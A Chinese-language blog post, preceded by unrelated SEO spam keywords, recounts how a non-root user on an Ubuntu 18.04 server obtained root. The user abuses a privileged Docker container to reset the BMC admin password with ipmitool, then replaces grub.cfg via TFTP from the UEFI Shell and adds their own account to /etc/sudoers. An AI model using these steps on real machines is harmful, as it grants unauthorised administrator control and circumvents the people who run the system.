网站淘宝推广怎么做,买手表去哪个网站买是正品的,网站开发终止协议书,优秀大校网站Ubuntu 18.04下普通用户的一次提权过程 一.背景介绍:二.主要调试过程:三.相关命令:1.设置BMC密码,获取BMC IP2.找一台ubuntu搭建TFTP服务,用来替换grub.cfg文件3.从调试服务器的/boot/grub/grub.cfg中提取出recovery mode的配置,简化并生成新的配置文件grub.cfg,放在tftp服务的… Ubuntu 18.04下普通用户的一次提权过程 一.背景介绍:二.主要调试过程:三.相关命令:1.设置BMC密码,获取BMC IP2.找一台ubuntu搭建TFTP服务,用来替换grub.cfg文件3.从调试服务器的/boot/grub/grub.cfg中提取出recovery mode的配置,简化并生成新的配置文件grub.cfg,放在tftp服务的目录下/srv/tftp/grub.cfg4.UEFI Shell中操作步骤 四.截图 本文介绍了Ubuntu 18.04下普通用户的一次提权过程
一.背景介绍:
1.OS为Ubuntu 18.04.6 LTS2.docker服务非开机自启动,需要管理员手动启动(之前并不知道)3.重启后,数据盘也需要管理员手动挂载(之前并不知道)4.目前给我的帐号为普通用户5.我需要测试关掉IOMMU的效果,得进BIOS设置,服务器在远程,又遇到周末没人支持6.万幸我的帐号有–privileged启动容器的权限
二.主要调试过程:
1.以–privileged创建容器,安装ipmitool,设置BMC密码(不需要知道原始密码也能设置)2.通过BMC的控制台进入BIOS设置,关掉IOMMU,重启服务器3.进入OS发现docker服务没有启动,我又没有root权限,仅有BMC的权限4.通过BMC的控制台,重启服务器,发现选择不了ubuntu的启动项,不能借此进入恢复模式5.再次通过BMC的控制台,重启服务器,按F11,选择UEFI Shell6.在UEFI Shell中,备份grub.cfg,修改grub.cfg文件(设置为恢复模式) 执行grubx64.efi,进入恢复模式,将我的用户名加入/etc/sudoers 恢复grub.cfg,重启OS,我的帐号即可享有root权限
三.相关命令:
1.设置BMC密码,获取BMC IP
docker run --gpus all --shm-size32g -ti -e NVIDIA_VISIBLE_DEVICESall \--privileged --nethost --rm nvcr.io/nvidia/pytorch:23.07-py3 /bin/bash# 1.安装ipmitool工具
apt update
apt install ipmitool -y # 2.查询BMC用户列表
ipmitool user list 1# 3.修改admin的密码(admin用户对应的ID为2)
ipmitool user set password 2 Hello123# 4.获取BMC IP
ipmitool lan print | grep IP Address输出
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 true false false Unknown (0x00)
2 admin false false true ADMINISTRATORSet User Password command successful (user 2)IP Address Source : Static Address
IP Address : xxx.xxx.xxx.xxx2.找一台ubuntu搭建TFTP服务,用来替换grub.cfg文件
apt install tftpd-hpa tftp-hpatee /etc/default/tftpd-hpa -EOF
TFTP_USERNAMEtftp
TFTP_DIRECTORY/srv/tftp
TFTP_ADDRESS:69
TFTP_OPTIONS--secure
EOF
mkdir -p /srv/tftp
chown -R tftp:tftp /srv/tftp
chmod -R 755 /srv/tftp
systemctl restart tftpd-hpa
systemctl enable tftpd-hpa3.从调试服务器的/boot/grub/grub.cfg中提取出recovery mode的配置,简化并生成新的配置文件grub.cfg,放在tftp服务的目录下/srv/tftp/grub.cfg
普通用户有权限读取/boot/grub/grub.cfg,但无法修改
tee /srv/tftp/grub.cfg -EOF
set timeout30
function load_video {if [ x$feature_all_video_module xy ]; theninsmod all_videoelseinsmod efi_gopinsmod efi_ugainsmod ieee1275_fbinsmod vbeinsmod vgainsmod video_bochsinsmod video_cirrusfi
}menuentry start {load_videoinsmod gzioif [ x$grub_platform xxen ]; then insmod xzio; insmod lzopio; fiinsmod part_gptinsmod ext2set roothd0,gpt2if [ x$feature_platform_search_hint xy ]; thensearch --no-floppy --fs-uuid --setroot --hint-bioshd0,gpt2 --hint-efihd0,gpt2 --hint-baremetalahci0,gpt2 115cd86a-146b-4c35-8c00-59c537ec34a0elsesearch --no-floppy --fs-uuid --setroot 115cd86a-146b-4c35-8c00-59c537ec34a0fiecho Loading Linux 5.4.0-120-generic ...linux /boot/vmlinuz-5.4.0-120-generic rootUUID115cd86a-146b-4c35-8c00-59c537ec34a0 ro recovery nomodeset dis_ucode_ldrecho Loading initial ramdisk ...initrd /boot/initrd.img-5.4.0-120-generic
}
EOF4.UEFI Shell中操作步骤
# 1.通过BMC的控制台,F11选择,进入恢复模式# 2.配置IP
ifconfig -s eth1 static 192.168.1.100 255.255.255.0 192.168.1.1# 3.Ping上面的tftp服务器,确认网络通畅
ping 192.168.1.200# 4.进入grub目录
FS0:
cd EFI\ubuntu# 5.备份grub.cfg
cp grub.cfg grub.cfg.bk# 6.从tftp下载新的grub.cfg,并替换
rm grub.cfg
tftp 192.168.1.200 grub.cfg# 7.启动grub,进入恢复模式
grubx64.efi# 8.选择root模式# 9.vim /etc/sudoers,把自己的用户名加进去# 10.恢复grub.cfg
mv /boot/efi/EFI/ubuntu/grub.cfg.bk /boot/efi/EFI/ubuntu/grub.cfg# 11.reboot四.截图 !